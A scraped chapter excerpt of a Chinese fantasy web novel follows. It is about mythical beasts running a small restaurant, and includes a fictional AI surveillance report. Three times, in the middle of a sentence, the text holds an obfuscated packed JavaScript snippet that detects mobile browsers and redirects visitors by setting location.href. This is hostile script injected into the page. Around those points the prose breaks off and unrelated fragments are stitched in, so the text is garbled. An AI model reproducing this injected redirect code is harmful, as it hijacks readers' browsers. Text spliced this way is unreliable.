她当年就是信了那什么老实肯干的鬼话,想着自己什么没有,只要两个人彼此看了顺眼,安安心心把日子过好,能力差点也就差点了。结果结婚后非但扶不上来,扶多了还怨,仿佛他半生的无能都是她孟家的阻碍。他倒是壮志未酬有志难伸,给他的都是不想要的,就得是自己偷来的才香。 “帮忙报个警,哥。”他低着头,拽着近些的男子。虽然去警局也很丢人,但总好过让她站在这人堆里发疯。路人大哥还没回答,大翡翠女士就拿起手包指在他脑袋上道:“不用你们报警,我自己报!我今天打完你们就去警察局报案,你们挨着你们的,我他妈挨着我的!”她一手揪过男人头发,扯了两步往地上一甩,对过里掌声四起,竟有人叫好。 大翡翠女士巾帼战双雄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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饕餮看着那些在他眼中形同虚设的防御,心道:人类还是这么喜欢建墙。原地起跳,空中踩了朵云一望,便找见那扇窗。 “你还真有兴致。”看着手里那份记录了谛听能力和踪迹的文件,伏恩嘲讽道。自己这什么没有,他倒愿意劳师动众地跑人家里头拿。 “大冒险总是增添情趣的好方式。”贺途半坐在桌子上,手里掀着一叠叠机密文书的边角玩。 伏恩头疼,又知道绝不能制止。饕餮其人,越制止越上头,看似活了几千年,实则和三岁小孩一样幼稚。只能等他玩够了。 伏恩将签字笔稳稳放下,使其和红头文件上分割的横线完全平行,才淡淡开口:“还有什么事你不知道的,需要问谛听。” “我尝到味道了。”饕餮坐在桌上,原本被对着伏恩,这是反扭过身去,望着他笑。 伏恩愣了一会,毫无兴致的眼神穿过饕餮,落在对面的那片墙上,又从那面布满勋章证书的墙上穿了回来,想起到:“哦,你没有味觉。”谁让这个人总一副有兴致到疯癫的模样,上哪看得出他没有味觉。 “你怎么这么不会说话。这时候你应该表达对我尝出味道的惊讶,然后再捧场地抛出几个问句,或者是拟声词的——‘哇?真的?’‘啊?不会吧!’”贺途掐着嗓子,小女生讲八卦似的恶心他。 “不会说话的都在你肚子里。”长老还说什么灵气匮乏,妖族凋零。依他看,全是饕餮吃的。 贺途哪里不知道鲲在想什么,无非就是振兴妖族的那么一套。年纪轻轻的老古董。 长发剪了,染成黑色,蓝色的眼睛也戴美瞳遮了。明明可以说祖上有欧美的血统,却偏不,彻彻底底混在人类的体制内,穿上板板正正的西装,坚持得比樊也都久。 “坐在她的位置上,感觉好么?”贺途笑得更甜,就爱扎他心窝子。 如果不是樊也拒封上将,这确实就是她的位置。伏恩沉默,或许是忍气吞声的事做了太多,这种程度的痛居然也反击得十分迅捷,“你就没想过,你没味觉,或许只是挑食到精神失常?” “那你猜,我尝出的,是谁的味道。”贺途手撑在桌子上,欣赏着鲲阴晴不定的脸,又笑。笑了好一会,回味够了,看着他精心扶正的钢笔也终于歪斜,像是横死。 这才下了桌,欠过身去,提起撂在他椅背上的衣服,倒拖着一串串笑,三两个大步,光明正大地,敞开门走了。 伏恩惘然,看着那扇被撇开的门。饕餮走了,但那门还磕橐地扇着,承受他离开的余波。他想,他是恨樊也的。如果不是她离开,自己至少不会这么艰难。妖界我在,人界她在,很多事情都有和平解决,甚至前进的余地……但她离开了,自己留下。留下却像占了她的似的。一切本该是她的。是,一切本该是她的。他也想都还给她。可她却不要。即使这上将现在已远没有当时那么烫手,她也不会要。 有些人看着情深,其实却是情薄。离开的时候问也不会问你一句,那么坦然地就把你钉在这个位子里,只留下那么扇磕橐磕橐的门。 ------------------ 野草神兽能力分析报告 文件编号:d6eaf9f0b3c5d8e1f4a7b9c2d5e8f0a3b6c9d1e4f7a0b2c5d8e9f1a3b6c9d2 目标:饕餮、九尾、狻猊 监视时段:2426年4月24日-2426年5月7日 报告对象:控制中心/数据分析部 监视AI标识:SENTINEL-XIV 附属数据:全程音视频录像(.hiv) 能力摘要:(详见文件内部) 饕餮:掠食者,可获取进食对象能力。已知已食:蜃龙。 九尾:媚惑(被动,本人不知)。 狻猊:轮回?香火?灵魂可视化,具体能力未知。 8. 喜欢的都扛走 饭店生意平平,傻AI想一出是一出。因为对话剧的研究产生了很好的效果(在0114看来,樊也能上台出演说明了她绝佳的学习能力),所以它生拖硬拽,将樊也带到了另一个圣地:民政局。 但樊也对它用在刀把上的心思毫无兴趣,只坐在办事处拐角的石头凳子上2048。亏的办事窗口是分开的,不然以小AI的情商,都不见得分得清谁是来结婚的,谁是来离婚的。见着一对笑的就去采访结婚感言,结果人家笑得更开心了,说今后终于可以迈向崭新的人生。 “折腾什么,不都是这么过的?”樊也一耳朵听见,心内道:对对对,就是这种台词。 “我真的不想再吵了,手续都办了,还说什么。”樊也点点头,对对对,就是这种连“我们”都不愿用的疲惫。 “你都多大年纪了?闹闹闹,当初是你非要按人类的习惯结婚,结了婚又嚷嚷着还想恋爱。你要真那么向往人类那套,你现在该在家里带孩子!”樊也正巧就坐在他们站着的那根柱子背后,把腿叉成个三角,出气而不发声地学:“啊闹——闹——闹——”老公鸡似,一闹脖子一伸。闹完后大脑才跟上了前伸的头,刚那女声听着好熟? 悄往后一瞧,那不是胡嫣么?小方包斜吊着,给两根细细的银链一扯,勒住脖,半死不活地在水泥地上刮剌。胡嫣靠在墙上,脚后跟跐溜着向前,将将停在高跟鞋陡峭的半坡。 樊也见对面又要说话,慌忙想做些什么,脑子一转,没转动,头一蒙,人就冲出去了。 冲出去,杵在两人中间,还是没想到说啥。人一紧张,就——把胡嫣抗起来跑了。其中的风驰电掣不必多说,樊也跑赢过非洲野驴。 樊也又找回了以前当阿甘的感觉,啥也不想,愣着个头就往前冲。冲到全速时,队友还会在后面喊:“跑——阿甘!跑——!”森林里,土与汗的焖蒸味中,充满了生命的交托,与血泪凝结的友谊。虽然他们喊的其实是是:跑错了,草! 放下胡嫣后,樊也后知后觉,“啊,给你裙子扯皱了。” 胡嫣穿着条香槟色的鱼尾裙,经过樊也的硬拉,已提前露出老态。要不是都市女性的大脚趾十分有力,鞋子也得干丢一只。 胡嫣还有点发蒙,脑子里回荡着许多画片。他将那只手抬起来了,他要说“好了”,标志性的结语,像国王敲下权杖。但有个人却在权杖落下前带走了她,虽然其中颠簸,很难让人产生什么美好旖旎的幻想,比如她是从联姻中被拯救的公主,骑士正挎剑为她与世界决裂。但这些都没有,只有樊也一步跃下三级台阶的那一瞬间。 重力消失的那刻像是场车祸,她被高高地丢在空中,时间却在抛物线的顶点无限拉长。或许直到这时,命运的聚光灯才舍得打在她的身上,至少用慢镜头记录一场死亡。 她的生命好像也就从这一刻切分出了前和后,此前是爱情被晒久了,发黄变脆,此后是筛过日色的槐花影,熟透了,能吃进嘴里。电子屏28号的业务已然完结,再抬头没有宋体的红光。 樊也听见不远处的声浪,牵着胡嫣的手,不管不顾跑进人群。不知名的音乐节里,吉他电鼓杀年猪似的在台上折腾,听不出好听来,只有吵这一点好。城市是悲伤的保护色。她们没有荧光棒也没有应援物,只有两条嗓子,干而燥烈地在人群喊叫。 “别这样看我,我该爱上你了。”牵她出来后,胡嫣红着眼侧低着头,手也在脸前护着,不愿看她。 樊也朗笑:“也不是不行。” 她们坐在遮阳蓬下,卖酒水的摊口。蓬角探出抹浓浓的绿,风过处,波光粼粼。阳光过好了,好得将哭出的泪都纳入笑。人们总是在汽水不离手的时候,才意识到夏天已到来很久。 “您好,打扰一下。”他的拖盘上摆着两杯酒,徐徐朝樊也和胡嫣走来。 莓紫色的长发从斜侧编出条辫子,颜色深浅不一,浅的像浆果,油亮饱满鼓出辫子的一小股节,深的像熟烂了,馥郁的浓香中藏着一些些毒。上半身仅着件幽绿的真丝西装,内里真空,两片衣服间只有一粒长钉作扣。西装下方是件鳞片似的曳地长裙,踩着的高跟鞋只由一条水蛇缠绕,从脚腕的地方攀升,隐没进入血肉。 十厘米的细跟和那条啰哩八唆长裙,他单手拿着拖盘,盘上两杯酒却分毫不——像从崖侧枯树探出大半身子的蛇。 他将酒盘稳稳放好,说是自己调制的新品,想请她们尝尝。 樊也看见其中一杯粉色的,想起升团测试的那个晚上,有人往防弹板的夹层里藏了瓶伏特加,樊也拿自己偷的桃子跟他换,他不,樊也硬抢,桃子扁了,和和到一起,几个人一小口一小口,喝完了围着圈圈咂舌头……他也是长发。 所以她拿了粉红色的那杯。但很辣。像酒跟舌头打架。但结束之后却立马有很多的甜,像sm。他笑着看樊也脸上表情变幻,仿佛看见品尝者的这一表情,才是乐之所至。 见他一双眼睛都黏在樊也身上,胡嫣警觉:“您真的有在营业吗?这里这么多人,却似乎没见你招待过。” “是没有营业。我只是见你们氛围太好。”他手撑着下巴,前探去的上半身恰好成为樊也和胡嫣对面的第三个角,他道:“我只是比较喜欢当第三者。” “咳——”樊也半口酒没咽下去,差点给自己呛死。九婴和胡嫣同时伸出了手,半空中相遇后,最终竟是九婴的手落了下来,“慢点喝,以后多着呢。” 见自己被顶了回去,胡嫣也不甘示弱,当即便起身道:“谢谢您,酒很好喝,我们下次一定再来。” “这就走了吗?”樊也缩在凳子里,仰头看着胡嫣,仿佛被拒绝了就要窝着手指头哭似的。 “好吧好吧。”胡嫣叹气,没忍住用手呼噜她头。 九婴又调了一杯,投喂樊也。——是没尝过海水的小朋友认为的大海的味道。樊也咂巴咂巴嘴,像海獭搓脸。 好喝,遂又要一杯。这杯是银色,像白日也有星空。酸甜融合之好,像从全世界选拔出一颗最好吃的蓝莓。 在樊也还要第四杯时,胡嫣坚定地将孩子领回。他什么目的她这个当狐狸精的还不知道吗?而且那男人八成也是个妖怪,妖界那种过于开放的民风民俗,小樊也还是不要知道的好。 胡嫣本来要把樊也送回店里,但却遭到拒绝。樊也表示自己是一个成熟的大人,没有喝多,可以自己回家。而胡嫣又恰好还有些手续需要在下午办完,只好嘱咐她回家后给自己回电话,然后不放心地走了。 樊也摇摇晃晃,哼着小曲迈着八字步,一步一个小石子,开心得像刚退休进花鸟市场的大爷。走两步瞥见墙角阴影里有条墨绿色的大胖蛇。摇摇头,继续往前。 走了两步又倒着退回来,把蛇身盘在腰上,头缠在脖子上,扛走。嗝——喜欢的……都……扛走。 啪嗒,蛇尾巴掉在地上。樊也深蹲,撅腚捡起,抓手里。颠了颠,缠紧。腰上绑了四五道蛇,腿岔开,工字形螃蟹似的走了。 自此以后她就黏在这条蛇身上,把人家当抱枕,随地大小睡。且暑热与蛇绝配。直到有一天,樊也偶然叹道:“好想再喝一次那酒啊。”蟒蛇的尾巴微微竖起,樊也不明所以,睡觉要盖肚肚,蛇尾被樊也揣好铺过来塞在腰后。梦里咂巴咂巴,蛇尾又动,反复十次,终于被樊也揪起问,“你什么毛病?” 蟒蛇从樊也身上下来,蛇身卷起酒瓶,又指指自己。然后又骄傲地挺挺它的第26节椎骨。在地中央变成人形。 “啊!你是那天那个踩高跷的!”樊也叫道。 “踩高跷的可不会给你调酒。”九婴从蛇形变成人形,现在才慢慢披上衣服。不过说是衣服,也不过是樊也常抱着睡觉的毯子。被他拿起两个对角,从肩膀和胯旁穿过,系个扣,便是衣服了。撩了下头发,将一根根长蛇从毯中拨出。 “大姐姐——!”咪咪伸爪拍对方头发上的蛇头。 九婴也不纠正她,甚至用蛇头和咪咪玩了起来。他最初是由坎、离二卦所聚的精气幻化而成,坎为水,离为火,所以五个蛇头属水,四个蛇头属火,坎为中男,离为中女,也因此,他同时具有两种性别。至于被当作什么,反正他无所谓。 胡久为很喜欢九婴。喜欢他的手艺。他不止会调酒,几乎是所有的饮品他都手到擒来,但胡久为对于这些只是堪堪能做。咖啡不是不可以冲,只是有时候水了,有时候浮了,他也不能确定是什么原因,酒也不是不可以调,只是远没有做饭那样得心应手,做的时候像个端着教科书加减的小学生。 但同时,胡久为也很害怕九婴,他的气质和那些会调戏他追着他问交没交女朋友办没办事的姑姑姐姐如出一辙。所以小狐狸只敢露出个头,在后厨巴巴地看。 “速度慢一点试试。”九婴不知道什么时候进了厨房,饶有兴味地看胡久为对着教学视频学手冲咖啡。 胡久为呆呆。他以为厨房是绝对的安全屋,除了他和凌晨的大耗子没人会进来。于是咖啡也不知冲到第几段了,壶嘴里的水鼻涕似的滴嗒。 “这个滤杯较深,你只冲中间,边上萃取得就肯定不够。所以慢一点,稳一点画圈。”九婴扶住他拿壶的手,一点点带着他走。 胡久为还比九婴高半头,但这会却被人环抱在身后。咖啡冲完了,胡久为满脸尖叫地隔着窗户问樊也怎么办。樊也无声:他媚魔来的,我能怎么办。胡久为无声:可、可是他抱我啊?樊也:那你拿胳膊肘给他抻开啊(一边梗梗蹬蹬儿地比划)。胡久为:你、你、要是你我就抻开了!樊也撇嘴:那你俩抱着吧。我找502去。 但没想到九婴居然没有下一步的行动,只是拿着一个头巾问胡久为道:“进厨房的话,用这个裹住可以吗?” “啊……那个……我其实想着东墙边还有块空地,如果你需要,可以做成吧台。”胡久为结结巴巴,樊也边听边摇头,“认识三分钟,家都卖给人家了。” 但他们却都忽略了一个事实。门口柜台墙边贴的通缉令。 所以直到徐升晚上来蹭饭,樊也才意识到,自己为什么总觉得九婴这个名字很熟。 “你看,你看看,这两天给我愁得,白头发都急出几根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587018|205325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”徐升刨着自己为数不多的头发,又刨落几根。“这可是有控制能力的妖怪,现在还没确定他的能力范围,要是还能大面积使用,他的危险等级还得往上抬。” 樊也一脸严肃,坐在徐升身边连连点头。 “而且你知道他性质有多恶劣吗?他把人家一家人石化了,还把儿子给扒光了露在老爹老妈面前!那你说人家又动不了,眼睛皮都闭不上,那可不就只能看着咯?” 樊也皱眉,表示还有这种事? 九婴凑上前来,“你们还是先入为主了。说不定那根本不是人家扒的,而是他自己本来就光着呢?” 徐升一听有线索,忙兴冲冲问:“你说说。” 九婴一本正经地跟他分析起了九婴,“你看啊,能在一个屋子里露面,其中一个还是光着,那说明他们进门一定有先后啊。” “那不废话,人家录口供的时候都说了,是那个妖怪突然出现,把他们都石化了,然后又为了羞辱他们,就把儿子给扒光了。”徐升道。 “不不不,你看,儿子没穿衣服,他肯定本来就在室内,父母鞋都没换一看就是刚从外面回来。那光着的儿子和突然回家的父母,你说可能是什么事嘛?”九婴恂恂善诱。 “啊——你是说,他其实是干那事被发现了?”徐升猜测道,“可是他也二十好几了,不至于见不得人啊,跑什么?” “那肯定是人不对咯。”九婴笑得意味深长。 “呵,那还能咋不对,他又没睡他老子的老婆。”徐升随口道。 九婴抬眉浅笑。 “不是,他妈在场啊?你不也说了从外头进来的噻。”徐升不可置信道。 “那——老妈不在,还有小妈啊?”九婴眨了眨眼,伸手去捋他留在胸前的辫子。 徐升:囧。 樊也:囧。 “那、那跟石化有什么关系?”徐升还是不能接受这个展开。 “那事儿办了一半他接受不了了,跑出去,又遇见了他重燃旧情的爹和妈,他爹、他妈,看着光着的我、和他,那你说我能怎么办?” 徐升呆滞了一会,疑问道:“我?”“不是,他。”九婴改口。 樊也还沉浸在囧的余波里,因为她好像明白,他最初见面的那句话是什么意思了。 徐升不想接受这个推理,因为他不知道该如何同上司阐述这么雷霆的故事线。于是准备借酒消愁。 喝到大脑将断未断的时候,果然飘飘然,开心起来了。扯着樊也开始撒泼,“无所不能的樊也大人,你就施施天威普渡众生吧!”樊也抽出胳膊,把垃圾桶塞他怀里当替身去了。 倒是咪咪悄悄蹭了过来,好奇道:“你跟我说说呗,樊也以前是干嘛的?”徐升兴致勃勃地跟她比了个手势,“这个,知道不?”猫猫看着那个八,摇摇头。 徐升:“砰!啪!” 咪咪有样学样:“砰!啪!” 徐升:“诶,对喽!” 咪咪还是没懂,又问:“那你为啥那么怕她?” “哦呦?我怕她!她那个破脾气,阎王爷路过都得拽掉两根胡子。”破字出口,像泼出了经年累月的冤苦。“我、我、我我怕她?我不怕她我还有命么。”徐升护着自己的心脏,两道眉狰狞地攒了起来。 咪咪不懂,咪咪只知道,樊也在徐升心中就是那个石矶娘娘,七个葫芦娃都打不败。 “那你为啥缠着她?”咪又道。 “她一个人,顶这个。”他又比了个拇指。 “这个,到底是啥?”猫猫一张小圆脸皱得核桃似的。 “西游记看过没?”猫猫:“那个猴子?”徐升:“对,就是那个猴子!”猫猫:“猴子咋了?”徐升:“猴子惨啊,猴子被排挤了,没人要他,石头山底下压着呢。”猫猫:“你是猴子?”徐升抱紧了酒瓶,“我是水帘洞里的跟班儿。猴王不在咯,留在洞里挨欺负呢。” “不说那个。来,尝一口?”徐升拿筷子蘸了一点,咪咪伸舌头舔去,舔了两口,就跟她心爱的小马宝莉一样,直着蹄子,嘚不嘚、嘚不嘚儿地走了。颠簸两步,脑袋一晃:“砰!啪!” 樊也一脸莫名地目送她经过:血液里奶牛的基因终于觉醒了? 而此时,胡久为在后切牛肉凉拌,九婴站在他身旁把桃子分成小牙儿,一边听她讲,一边给她还原当年的口味。樊也又喝的茫茫醉了,更后面也喧闹着划拳的人和猫。 突然,九婴问胡久为道:“你说,以后这个店里会有多少人啊?” 他说得很轻,像黑暗里朦胧交换的一个吻。小而昏浊的灯光把他们伸手搂着,黄黄老老的破灯泡,悬着的线已蓄满油烟。这脏东西胡久为每次都嫌,在今天却只觉这光把人衬得太好。他不敢去看,就像不敢碰那张和祖母拍下的旧照片,每碰一次,都碎出点幸福的渣。只好低着头,眼里浅浅装着台面上脑袋冒泡的樊也,“反正,她肯定是多少都不嫌多的。” 九婴也笑,笑了之后不再给她喂酒,而是在她嘟囔着还要还要的时候,往嘴巴里塞进一两块桃子。 9. 黑店抛尸 2426年5月16日,傍晚22:14。车人光电混合的市声盘踞在黑麻麻的城上,汩汩吸纳着。随夜色越浓,膨胀、填充在整一片天上,呜哇呜哇地,等明天一早砰地炸开,成为唤醒白日的第一声婴啼。 一位摇摇晃晃的客人入店,拖开椅子,扶着坐下。 “您好,我们要歇业了。”九婴上前招呼道,胡久为在后厨刷锅。 那人并不搭理他,埋头趴在桌上,喉咙里嗬搐嗬搐,拖拉机似咳个不停。声震震的,捶得桌子也摇。九婴只好把腿面离远了些。 “酒。酒总有吧。”他还是没抬起头,嘴巴在胳膊洞里,闷出句。 “酒?酒倒是有的。”九婴刚准备问他喝什么,看那头也不愿抬的架势,又想肯定是个买醉的给酒精也喝的家伙。总之上度数高的好了。 加入方糖后,用吧勺一点点碾压、旋转,直到它在琥珀色的酒液中变成金沙,又缓缓消失不见。“好了,我对你就这么点耐心。”他将勺子一扔,拖盘也懒得拿,揣起酒杯,就扭着腰走。 “喏——”九婴放下杯子,刚一推,那人便吸进去干了,像变色龙吃进只虫子,快得想看清脸都来不及。 九婴穿着件皮质的高开衩长裙,人半倚在桌面上,抱臂,腿交叠着一搭,恰露出腿环上别着的匕首。不真刀人,只是表明对傻逼的愤慨。 硬质的皮面卡在大腿根部,能瞥见缝隙潮红。靴根的厚底在地板上梆梆地敲,倒数:再等十秒就撂倒了拖出去,少耽误老子关门。 没想到真倒了,倒得十分迅速,甚至附加赠礼:斜着抽搐。“哎呀,我也没投毒啊?”九婴戳戳他,但那人已跪在地上,十分难熬地,木地板都刮出痕来。九婴心疼地板,后颈给了一手刀。然后把人倒拖着,找个臭水沟抛尸。 “真他妈烦,喝不了酒还出来,赚遗产你买保险好了,少害你老娘。妈的,死重。”九婴嫌弃地把人背在身后,一边颠着把他往上抬,一边嘴里喃喃切切地骂:“戴了面罩还遮着捂着的躲人,丑得害怕就屋里待着好了。磨磨叽叽,紧防慢防的,谁稀罕看你……”一边骂一边又想,等下掀开来看看好了。算了,冤有头债有主,只要他不看,这债就不算他的。 “唔啊——,你背的谁?”樊也吹出个长长的哈欠,正把外卖点的炸鸡毁尸灭迹。 九婴很乐意同樊也独处,于是约她一起散步抛尸。樊也摸了下人颈动脉,探完的手反过来就给他一掌:“人还活着,抛你个蛋的尸。”九婴撇撇嘴,就是活着才要抛啊。这玩意肯定妖怪来的,醒了又要勾搭樊也。下次先分再抛好了。 一楼东侧,胡久为和九婴的房间里,地板上放着个人,九婴忙前忙后地换水擦汗,救了男主的女主一般,生怕第一眼醒来的位置给女二占了,对失忆的男主说“是我救的你”。只不过他心里的动向反过来,是怕躺在床上的男主认对了救命恩人,然后以身相许。要许许我的,债多不压身。 谛听醒了,黑暗从两边分开的一幕,黄色的小灯泡旁围了一圈三个人头。谛听忙伸手摸脸,面罩还在。于是便放松下来,侧过头去,居然对自己的现状毫不关心。 九婴照顾病人的责任感在对方睁眼后就消散了,同一间房,涂涂抹抹,洗洗睡睡,该干嘛干嘛,脚从人头上跨过去都没一眼。胡久为放不下心,默默接了过来,给他做病号餐:鸡胸肉瘦牛肉打成肉糜,再拌点鱼油和钙维。这一小盆他最初只能吃个半碗,后面渐渐每次都能吃光了,胡久为又再加上无盐的骨头汤和鲭鱼刺身。剩余的时间都留给他自己,让他一个人缩在墙角连光也不见,也不知在躲避什么。 樊也也想照顾病人,但在尝过病号餐后放弃了。没盐实在难吃。 于是照顾的心改为时时探视,“那个……洗碗你会吧?” 谛听懵懵,点了点头。樊也抱着的大铁锅“咣当”落地,铁锅里几十只碗,泡着洗洁精飘着刷锅布。“那就交给你了,同志。”樊也出去溜弯了,回来后把刷好的碗再端回厨房。 为提升照顾质量,樊也更常下来看他。跑下楼,从门框里伸出颗头,头往里勾着找人,找到了,见谛听痛苦蜷缩,仍未发现自己,又伸手敲敲门板:“那个,拖地会吧?” 谛听痛苦了一半,狰狞的表情都未散去,恍然只有双溜圆的眼醒。他跪在地板上看了看樊也,努力理解之后,又接受了。起身时摇摇晃晃,还是靠拖把撑了下才没有跌倒。 康复训练也是很重要的一环,为了让病人尽快恢复活动能力,樊也的探视从一天三次,改为一小时三次。不一会,门框旁又露出颗头:“那个,削土豆会吧?” 谛听其实不太会的,只是每次都在樊也提出需求的时候读取了她的心音,然后摸索自学。 樊也梆地声搬来半麻袋土豆,留给谛听。谛听从樊也心中,理解了削皮剜芽的基本步骤,又看见了切丝泡水的更高期待,于是等樊也再回来的时候,土疙瘩们就都已改头换面,根根分明地泡在水里了。 “你简直是天才!”樊也激动得冲上前,一双手紧紧握住谛听。谛听从她几乎要流出热泪的眼眶中,看到了胡久为会因超额完成任务奖励她猪肘子的画面(拍了拍她肩膀、竖起一根大拇指、扛来一大盆肘子)。……以及后续的,是否要分他半根的纠结。 “我不吃的。”谛听道。说完才发现自己是第一次说话。 樊也愣神,“吃什么?”谛听本不想再说了,但知道她一定会打破砂锅问到底,于是只好把垂着的头别过去,仅仅出气地说出两个小字,“肘子。” “你知道胡久为炖了肘子?”樊也疑惑,“不对,胡久为还没炖肘子,是我想求他炖肘子。”樊也自顾自地推演,谛听自顾自地想,告诉她也好,知道害怕了就能还他一个清静……呵,不过这世界上又哪有清静。 知道他是谛听后,樊也思考:“谛听……那你应该……也会飞吧?”谛听读到了她脑中:他站在蓬蓬的白云里,对着东区的菜市场手做喇叭状喊,然后老板站在地上,把一箱箱菜肉扔上天,他又驾着白云回来的画面。……还有个很蠢的手搭凉棚左右瞭望踩云飞行的动作。 这事儿最后没干成,因为近日任务的高质量交付引起了胡久为怀疑。九婴在厨房忙着没空,咪咪的动手能力与蟑螂一致,那剩下的——樊也奴役病号的罪名昭然若揭。 “他那么不愿意跟人打交道,你敢把他丢菜市场?!”谛听出门后,樊也跪在地上,“他很厉害的,他根本不用和人交流。”樊也努力辩解,只是效力堪比放学回家后说自己没吃辣条的小学生。 因为现在也没人做饭,所以只有东区营养液厂聚集的园区里有现成的瓜果蔬菜牛羊鱼肉。比起那些做营养液的大厂,野草这种小饭店的用量人家自然不可能包配送,所以基本上每隔一天就得去买,还是凌晨。越往后越贵,菜还不好,都是人家挑剩下的。 胡久为正准备打车过去救人,谛听竟完好无损地回来了,买回来的东西不但齐全,而且实惠,甚至还新鲜,他一个新人居然一点也没被坑到。 “哼哼,我早就知道,谛听的能力在买菜砍价上作用非凡!”樊也马后炮着,胡久为给她头上来了一炮。樊也悻悻闭嘴。 谛听受到了胡久为全方位的夸奖,之所以是全方位,因为还包含了他脑中想说而没说的,斟酌措辞后发现太热烈怕吓到他的部分。谛听害羞得不知所措,疯狂在所有人脑中检索他们期待的合礼答复。没有……什么都没有!谛听慌了,进一步扩大搜索范围,在每一个路人的心音中找寻:答复……答复…… “尾巴!大尾巴!好粗好厚的大尾巴!”嗯?这是什么?谛听脑中突然冒出这句,声音还有点熟悉,距离也很近。正要进一步定位,余光却突然看见脚底下的猫猫够着什么东西拍——那不是他的尾巴吗! 谛听忙把尾巴抢了回去,脸喷地红了。因为还听见一句:正经男穿豹纹,好色哦。嘿嘿。 谛听一溜烟跑走,钻进毯子里,尾巴却怎么也收不回去,一边急得发抖,一边抱着大尾巴衔在嘴里,生怕又哪里露了出来。 0114作为全屋唯一一个不会读取心音的东西,伸出机械小手,悄悄举起道:“有句话,不知当讲不当讲……”樊也瞪它,它才小小声道:“他心脏有问题,就像那些在发病边缘的人类一样。” 0114装载了一种能发射毫米波的雷达,通过连续脉冲之间回波的相位差计算心率,虽然达不到医用级,但可大致衡量焦虑值和发病概率。 “当今人类大多心肌细胞肥厚,伴有不同程度的间质纤维化和微血管病变,且长期焦虑导致钾钠钙离子通道紊乱、心肌细胞内钙超载、起搏电流异常增强,是典型的儿茶酚胺敏感性多形性室速,即压力情绪诱发的恶性心率失常。”0114道。“你的意思是,谛听也符合这什么玩意的病变?”樊也问。“看上去很像,至少症状吻合。他当时喝酒后应该就已经发病了,只是你们神兽比人类强壮得可能不是一星半点,所以对于人类来说致命的东西,也可以扛一扛?”0114此话,显然已把樊也也列入了非人领域。 “所以我觉得我的诊疗方案非常有效啊!”樊也跪在地上,已指指扬扬,发表暴论道:“治愈抑郁的最好方式,就是忙到没空抑郁,累到倒头就睡。” 胡久为并不管她一箩筐的废话,指令只有一个:要么哄好他,要么肘子取消。 樊也当然是选择了肘子,于是对着谛听卷出的包袱叽叽咕咕:“对不起嘛,我错了。我真的错了。我大错特错了(虽然我也不知道错哪儿)。”谛听把自己卷得更紧。“豹纹多好看啊,有什么能和豹纹一样,同时走在时尚和土气的前沿?!当然你肯定是时尚……”樊也蹲在地上,两手扯着拖鞋舌头,不倒翁似,摇摇晃晃。 “我不是。”谛听居然回答了。樊也还来不及惊喜,便紧接着收到了一连串的狠话:“我不关心你们如何看我,也并不认为之前那杯酒有你们的责任,我很感谢你们这段时间的收留,但我今天就走。” 樊也心音:啊!不要啊豹豹! “我才不是你想象中的雪豹!”谛听愤然,倏地从毛毯中站起,右手扯掉了面罩。 他脸颊两侧有深可见骨的伤疤,耳朵的位置尤重,像平菇破败,蔫巴萎烂的伞面。一张脸尤为滑稽,雾蓝色眼从中心往恹恹的黄色过渡,过于浅的瞳色,睁大眼时,总显得清澈愚蠢,可下半张却是翻出的新鲜血肉,像懵懂的孩子刚被挑断脚筋,跌坐在地上,还不知道疼。 樊也脑中的念头一闪而过:你这狗屁能力不会关不掉吧?谛听扭头,她就知道猜对了。 “那以前呢?你也不是第一天能聆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那佛死了,摩尼宝珠呢?”樊也还抱着点期待。“有一个叫饕餮的凶兽吃了。”谛听道。“啊、哈、哈哈哈。饕餮,饕餮啊。”樊也控制着自己的大脑,只去想芹菜洋葱和大蒜,以覆盖掉某张为非作歹的脸。 至于狗某天回来,会和豹豹打起来的问题……难以解决的事樊也总抛之脑后。毕竟她解决不了问题,但问题也解决不了她。 天一点点发燥了起来,咪变成了蒲公英,上天入地地发毛毛。樊也基本上每隔一天就得给她梳毛。 野草是个坐北朝南的小院,因院子朝南,所以再单独从北边开个门挂招牌,客人都从那儿进。九婴新砌的吧台就在东南角。不过说是吧台,其实就是用的时候把两扇窗户撇开,窗台上搭一桌板儿,直通内外两侧。背光的地方贴着墙放两个顶天立地的大柜子,柜子里放高矮胖瘦不同产地不同颜色的酒,还有咖啡机、磨豆机、破壁机……,台面底下空着,塞个大冰柜,里面主要给樊也囤冰淇淋吃。 窗台伸长了,墙内墙外,一张小桌子。上面能放做好的咖啡酒饮茶点蛋糕,还有樊也的下巴颏儿。樊也在院子里,边晒太阳边给咪咪梳毛,九婴在屋里做好,隔着窗户就能喂她。 这会儿在给她打西瓜汁,九婴真不明白,这种死加白糖毫无技术含量的东西有什么好喝,况且这时候西瓜还不是最好。但樊也却想,因为记得以前校门口那份廉价的快乐……其实并不廉价,一份大杯的西瓜汁要八块,而且半杯是冰。八块,在她老家西瓜最便宜的时候能买俩。廉价的是糖精,还有当年他们喝什么都能开心起来的笑。 樊也一边嘴够着吸管嘬着,一边动手给咪梳毛。猪咪毛又厚又长,最开始给她买的小梳子现在都只能按按脸,给老大爷剔胡子似的,从脸两侧刮一遍,修修,平了,只剩青茬。刮好了脸就得换长齿的排梳,一插到底,感觉到致密的猪肉,再斜斜轻轻地篦。 咪半个头在阳光下,眯着眼,金蓬蓬的胡子,尾巴随着呼噜声甩甩的,看得九婴羡慕得不行,“唉,我要是也有毛就好了。” “你要是也有毛,那得累死我。”樊也笑道。 “累?”刚走到脚边的小狐狸浑身一凛,四个爪悬半空中俩,退堂鼓又响,响着想着是否在谁都没发现的时候再退回去。 